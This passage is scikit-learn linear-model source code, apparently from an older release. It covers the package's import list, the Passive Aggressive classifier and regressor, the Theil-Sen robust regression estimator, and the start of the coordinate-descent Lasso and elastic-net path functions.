                s += 0.5 * (fast_logdet(sigma_) + n_samples * log(alpha_) +
                                                np.sum(np.log(lambda_)))
                s -= 0.5 * (alpha_ * rmse_ + (lambda_ * coef_ ** 2).sum())
                self.scores_.append(s)

            # Check for convergence
            if iter_ > 0 and np.sum(np.abs(coef_old_ - coef_)) < self.tol:
                if verbose:
                    print("Converged after %s iterations" % iter_)
                break
            coef_old_ = np.copy(coef_)

        self.coef_ = coef_
        self.alpha_ = alpha_
        self.sigma_ = sigma_
        self.lambda_ = lambda_
        self._set_intercept(X_offset, y_offset, X_scale)
        return self






"""
The :mod:`sklearn.linear_model` module implements generalized linear models. It
includes Ridge regression, Bayesian Regression, Lasso and Elastic Net
estimators computed with Least Angle Regression and coordinate descent. It also
implements Stochastic Gradient Descent related algorithms.
"""

# See http://scikit-learn.sourceforge.net/modules/sgd.html and
# http://scikit-learn.sourceforge.net/modules/linear_model.html for
# complete documentation.

from .base import LinearRegression

from .bayes import BayesianRidge, ARDRegression
from .least_angle import (Lars, LassoLars, lars_path, LarsCV, LassoLarsCV,
                          LassoLarsIC)
from .coordinate_descent import (Lasso, ElasticNet, LassoCV, ElasticNetCV,
                                 lasso_path, enet_path, MultiTaskLasso,
                                 MultiTaskElasticNet, MultiTaskElasticNetCV,
                                 MultiTaskLassoCV)
from .huber import HuberRegressor
from .sgd_fast import Hinge, Log, ModifiedHuber, SquaredLoss, Huber
from .stochastic_gradient import SGDClassifier, SGDRegressor
from .ridge import (Ridge, RidgeCV, RidgeClassifier, RidgeClassifierCV,
                    ridge_regression)
from .logistic import (LogisticRegression, LogisticRegressionCV,
                       logistic_regression_path)
from .omp import (orthogonal_mp, orthogonal_mp_gram, OrthogonalMatchingPursuit,
                  OrthogonalMatchingPursuitCV)
from .passive_aggressive import PassiveAggressiveClassifier
from .passive_aggressive import PassiveAggressiveRegressor
from .perceptron import Perceptron
from .randomized_l1 import (RandomizedLasso, RandomizedLogisticRegression,
                            lasso_stability_path)
from .ransac import RANSACRegressor
from .theil_sen import TheilSenRegressor

__all__ = ['ARDRegression',
           'BayesianRidge',
           'ElasticNet',
           'ElasticNetCV',
           'Hinge',
           'HuberRegressor',
           'Lars',
           'LarsCV',
           'Lasso',
           'LassoCV',
           'LassoLars',
           'LassoLarsCV',
           'LassoLarsIC',
           'LinearRegression',
           'Log',
           'LogisticRegression',
           'LogisticRegressionCV',
           'ModifiedHuber',
           'MultiTaskElasticNet',
           'MultiTaskElasticNetCV',
           'MultiTaskLasso',
           'MultiTaskLassoCV',
           'OrthogonalMatchingPursuit',
           'OrthogonalMatchingPursuitCV',
           'PassiveAggressiveClassifier',
           'PassiveAggressiveRegressor',
           'Perceptron',
           'RandomizedLasso',
           'RandomizedLogisticRegression',
           'Ridge',
           'RidgeCV',
           'RidgeClassifier',
           'RidgeClassifierCV',
           'SGDClassifier',
           'SGDRegressor',
           'SquaredLoss',
           'TheilSenRegressor',
           'enet_path',
           'lars_path',
           'lasso_path',
           'lasso_stability_path',
           'logistic_regression_path',
           'orthogonal_mp',
           'orthogonal_mp_gram',
           'ridge_regression',
           'RANSACRegressor']






# Authors: Rob Zinkov, Mathieu Blondel
# License: BSD 3 clause

from .stochastic_gradient import BaseSGDClassifier
from .stochastic_gradient import BaseSGDRegressor
from .stochastic_gradient import DEFAULT_EPSILON


class PassiveAggressiveClassifier(BaseSGDClassifier):
    """Passive Aggressive Classifier

    Read more in the :ref:`User Guide <passive_aggressive>`.

    Parameters
    ----------

    C : float
        Maximum step size (regularization). Defaults to 1.0.

    fit_intercept : bool, default=False
        Whether the intercept should be estimated or not. If False, the
        data is assumed to be already centered.

    n_iter : int, optional
        The number of passes over the training data (aka epochs).
        Defaults to 5.

    shuffle : bool, default=True
        Whether or not the training data should be shuffled after each epoch.

    random_state : int seed, RandomState instance, or None (default)
        The seed of the pseudo random number generator to use when
        shuffling the data.

    verbose : integer, optional
        The verbosity level

    n_jobs : integer, optional
        The number of CPUs to use to do the OVA (One Versus All, for
        multi-class problems) computation. -1 means 'all CPUs'. Defaults
        to 1.

    loss : string, optional
        The loss function to be used:
        hinge: equivalent to PA-I in the reference paper.
        squared_hinge: equivalent to PA-II in the reference paper.

    warm_start : bool, optional
        When set to True, reuse the solution of the previous call to fit as
        initialization, otherwise, just erase the previous solution.

    class_weight : dict, {class_label: weight} or "balanced" or None, optional
        Preset for the class_weight fit parameter.

        Weights associated with classes. If not given, all classes
        are supposed to have weight one.

        The "balanced" mode uses the values of y to automatically adjust
        weights inversely proportional to class frequencies in the input data
        as ``n_samples / (n_classes * np.bincount(y))``

        .. versionadded:: 0.17
           parameter *class_weight* to automatically weight samples.

    Attributes
    ----------
    coef_ : array, shape = [1, n_features] if n_classes == 2 else [n_classes,\
            n_features]
        Weights assigned to the features.

    intercept_ : array, shape = [1] if n_classes == 2 else [n_classes]
        Constants in decision function.

    See also
    --------

    SGDClassifier
    Perceptron

    References
    ----------
    Online Passive-Aggressive Algorithms
    <http://jmlr.csail.mit.edu/papers/volume7/crammer06a/crammer06a.pdf>
    K. Crammer, O. Dekel, J. Keshat, S. Shalev-Shwartz, Y. Singer - JMLR (2006)

    """
    def __init__(self, C=1.0, fit_intercept=True, n_iter=5, shuffle=True,
                 verbose=0, loss="hinge", n_jobs=1, random_state=None,
                 warm_start=False, class_weight=None):
        super(PassiveAggressiveClassifier, self).__init__(
            penalty=None,
            fit_intercept=fit_intercept,
            n_iter=n_iter,
            shuffle=shuffle,
            verbose=verbose,
            random_state=random_state,
            eta0=1.0,
            warm_start=warm_start,
            class_weight=class_weight,
            n_jobs=n_jobs)
        self.C = C
        self.loss = loss

    def partial_fit(self, X, y, classes=None):
        """Fit linear model with Passive Aggressive algorithm.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape = [n_samples, n_features]
            Subset of the training data

        y : numpy array of shape [n_samples]
            Subset of the target values

        classes : array, shape = [n_classes]
            Classes across all calls to partial_fit.
            Can be obtained by via `np.unique(y_all)`, where y_all is the
            target vector of the entire dataset.
            This argument is required for the first call to partial_fit
            and can be omitted in the subsequent calls.
            Note that y doesn't need to contain all labels in `classes`.

        Returns
        -------
        self : returns an instance of self.
        """
        if self.class_weight == 'balanced':
            raise ValueError("class_weight 'balanced' is not supported for "
                             "partial_fit. For 'balanced' weights, use "
                             "`sklearn.utils.compute_class_weight` with "
                             "`class_weight='balanced'`. In place of y you "
                             "can use a large enough subset of the full "
                             "training set target to properly estimate the "
                             "class frequency distributions. Pass the "
                             "resulting weights as the class_weight "
                             "parameter.")
        lr = "pa1" if self.loss == "hinge" else "pa2"
        return self._partial_fit(X, y, alpha=1.0, C=self.C,
                                 loss="hinge", learning_rate=lr, n_iter=1,
                                 classes=classes, sample_weight=None,
                                 coef_init=None, intercept_init=None)

    def fit(self, X, y, coef_init=None, intercept_init=None):
        """Fit linear model with Passive Aggressive algorithm.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape = [n_samples, n_features]
            Training data

        y : numpy array of shape [n_samples]
            Target values

        coef_init : array, shape = [n_classes,n_features]
            The initial coefficients to warm-start the optimization.

        intercept_init : array, shape = [n_classes]
            The initial intercept to warm-start the optimization.

        Returns
        -------
        self : returns an instance of self.
        """
        lr = "pa1" if self.loss == "hinge" else "pa2"
        return self._fit(X, y, alpha=1.0, C=self.C,
                         loss="hinge", learning_rate=lr,
                         coef_init=coef_init, intercept_init=intercept_init)


class PassiveAggressiveRegressor(BaseSGDRegressor):
    """Passive Aggressive Regressor

    Read more in the :ref:`User Guide <passive_aggressive>`.

    Parameters
    ----------

    C : float
        Maximum step size (regularization). Defaults to 1.0.

    epsilon : float
        If the difference between the current prediction and the correct label
        is below this threshold, the model is not updated.

    fit_intercept : bool
        Whether the intercept should be estimated or not. If False, the
        data is assumed to be already centered. Defaults to True.

    n_iter : int, optional
        The number of passes over the training data (aka epochs).
        Defaults to 5.

    shuffle : bool, default=True
        Whether or not the training data should be shuffled after each epoch.

    random_state : int seed, RandomState instance, or None (default)
        The seed of the pseudo random number generator to use when
        shuffling the data.

    verbose : integer, optional
        The verbosity level

    loss : string, optional
        The loss function to be used:
        epsilon_insensitive: equivalent to PA-I in the reference paper.
        squared_epsilon_insensitive: equivalent to PA-II in the reference
        paper.

    warm_start : bool, optional
        When set to True, reuse the solution of the previous call to fit as
        initialization, otherwise, just erase the previous solution.

    Attributes
    ----------
    coef_ : array, shape = [1, n_features] if n_classes == 2 else [n_classes,\
            n_features]
        Weights assigned to the features.

    intercept_ : array, shape = [1] if n_classes == 2 else [n_classes]
        Constants in decision function.

    See also
    --------

    SGDRegressor

    References
    ----------
    Online Passive-Aggressive Algorithms
    <http://jmlr.csail.mit.edu/papers/volume7/crammer06a/crammer06a.pdf>
    K. Crammer, O. Dekel, J. Keshat, S. Shalev-Shwartz, Y. Singer - JMLR (2006)

    """
    def __init__(self, C=1.0, fit_intercept=True, n_iter=5, shuffle=True,
                 verbose=0, loss="epsilon_insensitive",
                 epsilon=DEFAULT_EPSILON, random_state=None, warm_start=False):
        super(PassiveAggressiveRegressor, self).__init__(
            penalty=None,
            l1_ratio=0,
            epsilon=epsilon,
            eta0=1.0,
            fit_intercept=fit_intercept,
            n_iter=n_iter,
            shuffle=shuffle,
            verbose=verbose,
            random_state=random_state,
            warm_start=warm_start)
        self.C = C
        self.loss = loss

    def partial_fit(self, X, y):
        """Fit linear model with Passive Aggressive algorithm.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape = [n_samples, n_features]
            Subset of training data

        y : numpy array of shape [n_samples]
            Subset of target values

        Returns
        -------
        self : returns an instance of self.
        """
        lr = "pa1" if self.loss == "epsilon_insensitive" else "pa2"
        return self._partial_fit(X, y, alpha=1.0, C=self.C,
                                 loss="epsilon_insensitive",
                                 learning_rate=lr, n_iter=1,
                                 sample_weight=None,
                                 coef_init=None, intercept_init=None)

    def fit(self, X, y, coef_init=None, intercept_init=None):
        """Fit linear model with Passive Aggressive algorithm.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape = [n_samples, n_features]
            Training data

        y : numpy array of shape [n_samples]
            Target values

        coef_init : array, shape = [n_features]
            The initial coefficients to warm-start the optimization.

        intercept_init : array, shape = [1]
            The initial intercept to warm-start the optimization.

        Returns
        -------
        self : returns an instance of self.
        """
        lr = "pa1" if self.loss == "epsilon_insensitive" else "pa2"
        return self._fit(X, y, alpha=1.0, C=self.C,
                         loss="epsilon_insensitive",
                         learning_rate=lr,
                         coef_init=coef_init,
                         intercept_init=intercept_init)






# -*- coding: utf-8 -*-
"""
A Theil-Sen Estimator for Multiple Linear Regression Model
"""

# Author: Florian Wilhelm <florian.wilhelm@gmail.com>
#
# License: BSD 3 clause

from __future__ import division, print_function, absolute_import

import warnings
from itertools import combinations

import numpy as np
from scipy import linalg
from scipy.special import binom
from scipy.linalg.lapack import get_lapack_funcs

from .base import LinearModel
from ..base import RegressorMixin
from ..utils import check_random_state
from ..utils import check_X_y, _get_n_jobs
from ..utils.random import choice
from ..externals.joblib import Parallel, delayed
from ..externals.six.moves import xrange as range
from ..exceptions import ConvergenceWarning

_EPSILON = np.finfo(np.double).eps


def _modified_weiszfeld_step(X, x_old):
    """Modified Weiszfeld step.

    This function defines one iteration step in order to approximate the
    spatial median (L1 median). It is a form of an iteratively re-weighted
    least squares method.

    Parameters
    ----------
    X : array, shape = [n_samples, n_features]
        Training vector, where n_samples is the number of samples and
        n_features is the number of features.

    x_old : array, shape = [n_features]
        Current start vector.

    Returns
    -------
    x_new : array, shape = [n_features]
        New iteration step.

    References
    ----------
    - On Computation of Spatial Median for Robust Data Mining, 2005
      T. Kärkkäinen and S. Äyrämö
      http://users.jyu.fi/~samiayr/pdf/ayramo_eurogen05.pdf
    """
    diff = X - x_old
    diff_norm = np.sqrt(np.sum(diff ** 2, axis=1))
    mask = diff_norm >= _EPSILON
    # x_old equals one of our samples
    is_x_old_in_X = int(mask.sum() < X.shape[0])

    diff = diff[mask]
    diff_norm = diff_norm[mask][:, np.newaxis]
    quotient_norm = linalg.norm(np.sum(diff / diff_norm, axis=0))

    if quotient_norm > _EPSILON:  # to avoid division by zero
        new_direction = (np.sum(X[mask, :] / diff_norm, axis=0)
                         / np.sum(1 / diff_norm, axis=0))
    else:
        new_direction = 1.
        quotient_norm = 1.

    return (max(0., 1. - is_x_old_in_X / quotient_norm) * new_direction
            + min(1., is_x_old_in_X / quotient_norm) * x_old)


def _spatial_median(X, max_iter=300, tol=1.e-3):
    """Spatial median (L1 median).

    The spatial median is member of a class of so-called M-estimators which
    are defined by an optimization problem. Given a number of p points in an
    n-dimensional space, the point x minimizing the sum of all distances to the
    p other points is called spatial median.

    Parameters
    ----------
    X : array, shape = [n_samples, n_features]
        Training vector, where n_samples is the number of samples and
        n_features is the number of features.

    max_iter : int, optional
        Maximum number of iterations.  Default is 300.

    tol : float, optional
        Stop the algorithm if spatial_median has converged. Default is 1.e-3.

    Returns
    -------
    spatial_median : array, shape = [n_features]
        Spatial median.

    n_iter: int
        Number of iterations needed.

    References
    ----------
    - On Computation of Spatial Median for Robust Data Mining, 2005
      T. Kärkkäinen and S. Äyrämö
      http://users.jyu.fi/~samiayr/pdf/ayramo_eurogen05.pdf
    """
    if X.shape[1] == 1:
        return 1, np.median(X.ravel())

    tol **= 2  # We are computing the tol on the squared norm
    spatial_median_old = np.mean(X, axis=0)

    for n_iter in range(max_iter):
        spatial_median = _modified_weiszfeld_step(X, spatial_median_old)
        if np.sum((spatial_median_old - spatial_median) ** 2) < tol:
            break
        else:
            spatial_median_old = spatial_median
    else:
        warnings.warn("Maximum number of iterations {max_iter} reached in "
                      "spatial median for TheilSen regressor."
                      "".format(max_iter=max_iter), ConvergenceWarning)

    return n_iter, spatial_median


def _breakdown_point(n_samples, n_subsamples):
    """Approximation of the breakdown point.

    Parameters
    ----------
    n_samples : int
        Number of samples.

    n_subsamples : int
        Number of subsamples to consider.

    Returns
    -------
    breakdown_point : float
        Approximation of breakdown point.
    """
    return 1 - (0.5 ** (1 / n_subsamples) * (n_samples - n_subsamples + 1) +
                n_subsamples - 1) / n_samples


def _lstsq(X, y, indices, fit_intercept):
    """Least Squares Estimator for TheilSenRegressor class.

    This function calculates the least squares method on a subset of rows of X
    and y defined by the indices array. Optionally, an intercept column is
    added if intercept is set to true.

    Parameters
    ----------
    X : array, shape = [n_samples, n_features]
        Design matrix, where n_samples is the number of samples and
        n_features is the number of features.

    y : array, shape = [n_samples]
        Target vector, where n_samples is the number of samples.

    indices : array, shape = [n_subpopulation, n_subsamples]
        Indices of all subsamples with respect to the chosen subpopulation.

    fit_intercept : bool
        Fit intercept or not.

    Returns
    -------
    weights : array, shape = [n_subpopulation, n_features + intercept]
        Solution matrix of n_subpopulation solved least square problems.
    """
    fit_intercept = int(fit_intercept)
    n_features = X.shape[1] + fit_intercept
    n_subsamples = indices.shape[1]
    weights = np.empty((indices.shape[0], n_features))
    X_subpopulation = np.ones((n_subsamples, n_features))
    # gelss need to pad y_subpopulation to be of the max dim of X_subpopulation
    y_subpopulation = np.zeros((max(n_subsamples, n_features)))
    lstsq, = get_lapack_funcs(('gelss',), (X_subpopulation, y_subpopulation))

    for index, subset in enumerate(indices):
        X_subpopulation[:, fit_intercept:] = X[subset, :]
        y_subpopulation[:n_subsamples] = y[subset]
        weights[index] = lstsq(X_subpopulation,
                               y_subpopulation)[1][:n_features]

    return weights


class TheilSenRegressor(LinearModel, RegressorMixin):
    """Theil-Sen Estimator: robust multivariate regression model.

    The algorithm calculates least square solutions on subsets with size
    n_subsamples of the samples in X. Any value of n_subsamples between the
    number of features and samples leads to an estimator with a compromise
    between robustness and efficiency. Since the number of least square
    solutions is "n_samples choose n_subsamples", it can be extremely large
    and can therefore be limited with max_subpopulation. If this limit is
    reached, the subsets are chosen randomly. In a final step, the spatial
    median (or L1 median) is calculated of all least square solutions.

    Read more in the :ref:`User Guide <theil_sen_regression>`.

    Parameters
    ----------
    fit_intercept : boolean, optional, default True
        Whether to calculate the intercept for this model. If set
        to false, no intercept will be used in calculations.

    copy_X : boolean, optional, default True
        If True, X will be copied; else, it may be overwritten.

    max_subpopulation : int, optional, default 1e4
        Instead of computing with a set of cardinality 'n choose k', where n is
        the number of samples and k is the number of subsamples (at least
        number of features), consider only a stochastic subpopulation of a
        given maximal size if 'n choose k' is larger than max_subpopulation.
        For other than small problem sizes this parameter will determine
        memory usage and runtime if n_subsamples is not changed.

    n_subsamples : int, optional, default None
        Number of samples to calculate the parameters. This is at least the
        number of features (plus 1 if fit_intercept=True) and the number of
        samples as a maximum. A lower number leads to a higher breakdown
        point and a low efficiency while a high number leads to a low
        breakdown point and a high efficiency. If None, take the
        minimum number of subsamples leading to maximal robustness.
        If n_subsamples is set to n_samples, Theil-Sen is identical to least
        squares.

    max_iter : int, optional, default 300
        Maximum number of iterations for the calculation of spatial median.

    tol : float, optional, default 1.e-3
        Tolerance when calculating spatial median.

    random_state : RandomState or an int seed, optional, default None
        A random number generator instance to define the state of the
        random permutations generator.

    n_jobs : integer, optional, default 1
        Number of CPUs to use during the cross validation. If ``-1``, use
        all the CPUs.

    verbose : boolean, optional, default False
        Verbose mode when fitting the model.

    Attributes
    ----------
    coef_ : array, shape = (n_features)
        Coefficients of the regression model (median of distribution).

    intercept_ : float
        Estimated intercept of regression model.

    breakdown_ : float
        Approximated breakdown point.

    n_iter_ : int
        Number of iterations needed for the spatial median.

    n_subpopulation_ : int
        Number of combinations taken into account from 'n choose k', where n is
        the number of samples and k is the number of subsamples.

    References
    ----------
    - Theil-Sen Estimators in a Multiple Linear Regression Model, 2009
      Xin Dang, Hanxiang Peng, Xueqin Wang and Heping Zhang
      http://home.olemiss.edu/~xdang/papers/MTSE.pdf
    """

    def __init__(self, fit_intercept=True, copy_X=True,
                 max_subpopulation=1e4, n_subsamples=None, max_iter=300,
                 tol=1.e-3, random_state=None, n_jobs=1, verbose=False):
        self.fit_intercept = fit_intercept
        self.copy_X = copy_X
        self.max_subpopulation = int(max_subpopulation)
        self.n_subsamples = n_subsamples
        self.max_iter = max_iter
        self.tol = tol
        self.random_state = random_state
        self.n_jobs = n_jobs
        self.verbose = verbose

    def _check_subparams(self, n_samples, n_features):
        n_subsamples = self.n_subsamples

        if self.fit_intercept:
            n_dim = n_features + 1
        else:
            n_dim = n_features

        if n_subsamples is not None:
            if n_subsamples > n_samples:
                raise ValueError("Invalid parameter since n_subsamples > "
                                 "n_samples ({0} > {1}).".format(n_subsamples,
                                                                 n_samples))
            if n_samples >= n_features:
                if n_dim > n_subsamples:
                    plus_1 = "+1" if self.fit_intercept else ""
                    raise ValueError("Invalid parameter since n_features{0} "
                                     "> n_subsamples ({1} > {2})."
                                     "".format(plus_1, n_dim, n_samples))
            else:  # if n_samples < n_features
                if n_subsamples != n_samples:
                    raise ValueError("Invalid parameter since n_subsamples != "
                                     "n_samples ({0} != {1}) while n_samples "
                                     "< n_features.".format(n_subsamples,
                                                            n_samples))
        else:
            n_subsamples = min(n_dim, n_samples)

        if self.max_subpopulation <= 0:
            raise ValueError("Subpopulation must be strictly positive "
                             "({0} <= 0).".format(self.max_subpopulation))

        all_combinations = max(1, np.rint(binom(n_samples, n_subsamples)))
        n_subpopulation = int(min(self.max_subpopulation, all_combinations))

        return n_subsamples, n_subpopulation

    def fit(self, X, y):
        """Fit linear model.

        Parameters
        ----------
        X : numpy array of shape [n_samples, n_features]
            Training data
        y : numpy array of shape [n_samples]
            Target values

        Returns
        -------
        self : returns an instance of self.
        """
        random_state = check_random_state(self.random_state)
        X, y = check_X_y(X, y, y_numeric=True)
        n_samples, n_features = X.shape
        n_subsamples, self.n_subpopulation_ = self._check_subparams(n_samples,
                                                                    n_features)
        self.breakdown_ = _breakdown_point(n_samples, n_subsamples)

        if self.verbose:
            print("Breakdown point: {0}".format(self.breakdown_))
            print("Number of samples: {0}".format(n_samples))
            tol_outliers = int(self.breakdown_ * n_samples)
            print("Tolerable outliers: {0}".format(tol_outliers))
            print("Number of subpopulations: {0}".format(
                self.n_subpopulation_))

        # Determine indices of subpopulation
        if np.rint(binom(n_samples, n_subsamples)) <= self.max_subpopulation:
            indices = list(combinations(range(n_samples), n_subsamples))
        else:
            indices = [choice(n_samples,
                              size=n_subsamples,
                              replace=False,
                              random_state=random_state)
                       for _ in range(self.n_subpopulation_)]

        n_jobs = _get_n_jobs(self.n_jobs)
        index_list = np.array_split(indices, n_jobs)
        weights = Parallel(n_jobs=n_jobs,
                           verbose=self.verbose)(
            delayed(_lstsq)(X, y, index_list[job], self.fit_intercept)
            for job in range(n_jobs))
        weights = np.vstack(weights)
        self.n_iter_, coefs = _spatial_median(weights,
                                              max_iter=self.max_iter,
                                              tol=self.tol)

        if self.fit_intercept:
            self.intercept_ = coefs[0]
            self.coef_ = coefs[1:]
        else:
            self.intercept_ = 0.
            self.coef_ = coefs

        return self






# Author: Alexandre Gramfort <alexandre.gramfort@inria.fr>
#         Fabian Pedregosa <fabian.pedregosa@inria.fr>
#         Olivier Grisel <olivier.grisel@ensta.org>
#         Gael Varoquaux <gael.varoquaux@inria.fr>
#
# License: BSD 3 clause

import sys
import warnings
from abc import ABCMeta, abstractmethod

import numpy as np
from scipy import sparse

from .base import LinearModel, _pre_fit
from ..base import RegressorMixin
from .base import _preprocess_data
from ..utils import check_array, check_X_y, deprecated
from ..utils.validation import check_random_state
from ..model_selection import check_cv
from ..externals.joblib import Parallel, delayed
from ..externals import six
from ..externals.six.moves import xrange
from ..utils.extmath import safe_sparse_dot
from ..utils.validation import check_is_fitted
from ..utils.validation import column_or_1d
from ..exceptions import ConvergenceWarning

from . import cd_fast


###############################################################################
# Paths functions

def _alpha_grid(X, y, Xy=None, l1_ratio=1.0, fit_intercept=True,
                eps=1e-3, n_alphas=100, normalize=False, copy_X=True):
    """ Compute the grid of alpha values for elastic net parameter search

    Parameters
    ----------
    X : {array-like, sparse matrix}, shape (n_samples, n_features)
        Training data. Pass directly as Fortran-contiguous data to avoid
        unnecessary memory duplication

    y : ndarray, shape (n_samples,)
        Target values

    Xy : array-like, optional
        Xy = np.dot(X.T, y) that can be precomputed.

    l1_ratio : float
        The elastic net mixing parameter, with ``0 <= l1_ratio <= 1``.
        For ``l1_ratio = 0`` the penalty is an L2 penalty. ``For
        l1_ratio = 1`` it is an L1 penalty.  For ``0 < l1_ratio <
        1``, the penalty is a combination of L1 and L2.

    eps : float, optional
        Length of the path. ``eps=1e-3`` means that
        ``alpha_min / alpha_max = 1e-3``

    n_alphas : int, optional
        Number of alphas along the regularization path

    fit_intercept : boolean, default True
        Whether to fit an intercept or not

    normalize : boolean, optional, default False
        If ``True``, the regressors X will be normalized before regression.
        This parameter is ignored when ``fit_intercept`` is set to ``False``.
        When the regressors are normalized, note that this makes the
        hyperparameters learnt more robust and almost independent of the number
        of samples. The same property is not valid for standardized data.
        However, if you wish to standardize, please use
        :class:`preprocessing.StandardScaler` before calling ``fit`` on an estimator
        with ``normalize=False``.

    copy_X : boolean, optional, default True
        If ``True``, X will be copied; else, it may be overwritten.
    """
    n_samples = len(y)

    sparse_center = False
    if Xy is None:
        X_sparse = sparse.isspmatrix(X)
        sparse_center = X_sparse and (fit_intercept or normalize)
        X = check_array(X, 'csc',
                        copy=(copy_X and fit_intercept and not X_sparse))
        if not X_sparse:
            # X can be touched inplace thanks to the above line
            X, y, _, _, _ = _preprocess_data(X, y, fit_intercept,
                                             normalize, copy=False)
        Xy = safe_sparse_dot(X.T, y, dense_output=True)

        if sparse_center:
            # Workaround to find alpha_max for sparse matrices.
            # since we should not destroy the sparsity of such matrices.
            _, _, X_offset, _, X_scale = _preprocess_data(X, y, fit_intercept,
                                                      normalize,
                                                      return_mean=True)
            mean_dot = X_offset * np.sum(y)

    if Xy.ndim == 1:
        Xy = Xy[:, np.newaxis]

    if sparse_center:
        if fit_intercept:
            Xy -= mean_dot[:, np.newaxis]
        if normalize:
            Xy /= X_scale[:, np.newaxis]

    alpha_max = (np.sqrt(np.sum(Xy ** 2, axis=1)).max() /
                 (n_samples * l1_ratio))

    if alpha_max <= np.finfo(float).resolution:
        alphas = np.empty(n_alphas)
        alphas.fill(np.finfo(float).resolution)
        return alphas

    return np.logspace(np.log10(alpha_max * eps), np.log10(alpha_max),
                       num=n_alphas)[::-1]


def lasso_path(X, y, eps=1e-3, n_alphas=100, alphas=None,
               precompute='auto', Xy=None, copy_X=True, coef_init=None,
               verbose=False, return_n_iter=False, positive=False, **params):
    """Compute Lasso path with coordinate descent

    The Lasso optimization function varies for mono and multi-outputs.

    For mono-output tasks it is::

        (1 / (2 * n_samples)) * ||y - Xw||^2_2 + alpha * ||w||_1

    For multi-output tasks it is::

        (1 / (2 * n_samples)) * ||Y - XW||^2_Fro + alpha * ||W||_21

    Where::

        ||W||_21 = \sum_i \sqrt{\sum_j w_{ij}^2}

    i.e. the sum of norm of each row.

    Read more in the :ref:`User Guide <lasso>`.

    Parameters
    ----------
    X : {array-like, sparse matrix}, shape (n_samples, n_features)
        Training data. Pass directly as Fortran-contiguous data to avoid
        unnecessary memory duplication. If ``y`` is mono-output then ``X``
        can be sparse.

    y : ndarray, shape (n_samples,), or (n_samples, n_outputs)
        Target values

    eps : float, optional
        Length of the path. ``eps=1e-3`` means that
        ``alpha_min / alpha_max = 1e-3``

    n_alphas : int, optional
        Number of alphas along the regularization path

    alphas : ndarray, optional
        List of alphas where to compute the models.
        If ``None`` alphas are set automatically

    precompute : True | False | 'auto' | array-like
        Whether to use a precomputed Gram matrix to speed up
        calculations. If set to ``'auto'`` let us decide. The Gram
        matrix can also be passed as argument.

    Xy : array-like, optional
        Xy = np.dot(X.T, y) that can be precomputed. It is useful
        only when the Gram matrix is precomputed.

    copy_X : boolean, optional, default True
        If ``True``, X will be copied; else, it may be overwritten.

    coef_init : array, shape (n_features, ) | None
        The initial values of the coefficients.

    verbose : bool or integer
        Amount of verbosity.

    params : kwargs
        keyword arguments passed to the coordinate descent solver.

    positive : bool, default False
        If set to True, forces coefficients to be positive.

    return_n_iter : bool
        whether to return the number of iterations or not.

    Returns
    -------
    alphas : array, shape (n_alphas,)
        The alphas along the path where models are computed.

    coefs : array, shape (n_features, n_alphas) or \
            (n_outputs, n_features, n_alphas)
        Coefficients along the path.

    dual_gaps : array, shape (n_alphas,)
        The dual gaps at the end of the optimization for each alpha.

    n_iters : array-like, shape (n_alphas,)
        The number of iterations taken by the coordinate descent optimizer to
        reach the specified tolerance for each alpha.

    Notes
    -----
    See examples/linear_model/plot_lasso_coordinate_descent_path.py
    for an example.

    To avoid unnecessary memory duplication the X argument of the fit method
    should be directly passed as a Fortran-contiguous numpy array.

    Note that in certain cases, the Lars solver may be significantly
    faster to implement this functionality. In particular, linear
    interpolation can be used to retrieve model coefficients between the
    values output by lars_path

    Examples
    ---------

    Comparing lasso_path and lars_path with interpolation:

    >>> X = np.array([[1, 2, 3.1], [2.3, 5.4, 4.3]]).T
    >>> y = np.array([1, 2, 3.1])
    >>> # Use lasso_path to compute a coefficient path
    >>> _, coef_path, _ = lasso_path(X, y, alphas=[5., 1., .5])
    >>> print(coef_path)
    [[ 0.          0.          0.46874778]
     [ 0.2159048   0.4425765   0.23689075]]

    >>> # Now use lars_path and 1D linear interpolation to compute the
    >>> # same path
    >>> from sklearn.linear_model import lars_path
    >>> alphas, active, coef_path_lars = lars_path(X, y, method='lasso')
    >>> from scipy import interpolate
    >>> coef_path_continuous = interpolate.interp1d(alphas[::-1],
    ...                                             coef_path_lars[:, ::-1])
    >>> print(coef_path_continuous([5., 1., .5]))
    [[ 0.          0.          0.46915237]
     [ 0.2159048   0.4425765   0.23668876]]


    See also
    --------
    lars_path
    Lasso
    LassoLars
    LassoCV
    LassoLarsCV
    sklearn.decomposition.sparse_encode
    """
    return enet_path(X, y, l1_ratio=1., eps=eps, n_alphas=n_alphas,
                     alphas=alphas, precompute=precompute, Xy=Xy,
                     copy_X=copy_X, coef_init=coef_init, verbose=verbose,
                     positive=positive, return_n_iter=return_n_iter, **params)


def enet_path(X, y, l1_ratio=0.5, eps=1e-3, n_alphas=100, alphas=None,
              precompute='auto', Xy=None, copy_X=True, coef_init=None,
              verbose=False, return_n_iter=False, positive=False,
              check_input=True, **params):
    """Compute elastic net path with coordinate descent

    The elastic net optimization function varies for mono and multi-outputs.

    For mono-output tasks it is::

        1 / (2 * n_samples) * ||y - Xw||^2_2
        + alpha * l1_ratio * ||w||_1
        + 0.5 * alpha * (1 - l1_ratio) * ||w||^2_2

    For multi-output tasks it is::

        (1 / (2 * n_samples)) * ||Y - XW||^Fro_2
        + alpha * l1_ratio * ||W||_21
        + 0.5 * alpha * (1 - l1_ratio) * ||W||_Fro^2

    Where::

        ||W||_21 = \sum_i \sqrt{\sum_j w_{ij}^2}

    i.e. the sum of norm of each row.

    Read more in the :ref:`User Guide <elastic_net>`.

    Parameters
    ----------
    X : {array-like}, shape (n_samples, n_features)
        Training data. Pass directly as Fortran-contiguous data to avoid
        unnecessary memory duplication. If ``y`` is mono-output then ``X``
        can be sparse.

    y : ndarray, shape (n_samples,) or (n_samples, n_outputs)
        Target values

    l1_ratio : float, optional
        float between 0 and 1 passed to elastic net (scaling between
        l1 and l2 penalties). ``l1_ratio=1`` corresponds to the Lasso

    eps : float
        Length of the path. ``eps=1e-3`` means that
        ``alpha_min / alpha_max = 1e-3``

    n_alphas : int, optional
        Number of alphas along the regularization path

    alphas : ndarray, optional
        List of alphas where to compute the models.
        If None alphas are set automatically

    precompute : True | False | 'auto' | array-like
        Whether to use a precomputed Gram matrix to speed up
        calculations. If set to ``'auto'`` let us decide. The Gram
        matrix can also be passed as argument.

    Xy : array-like, optional
        Xy = np.dot(X.T, y) that can be precomputed. It is useful
        only when the Gram matrix is precomputed.

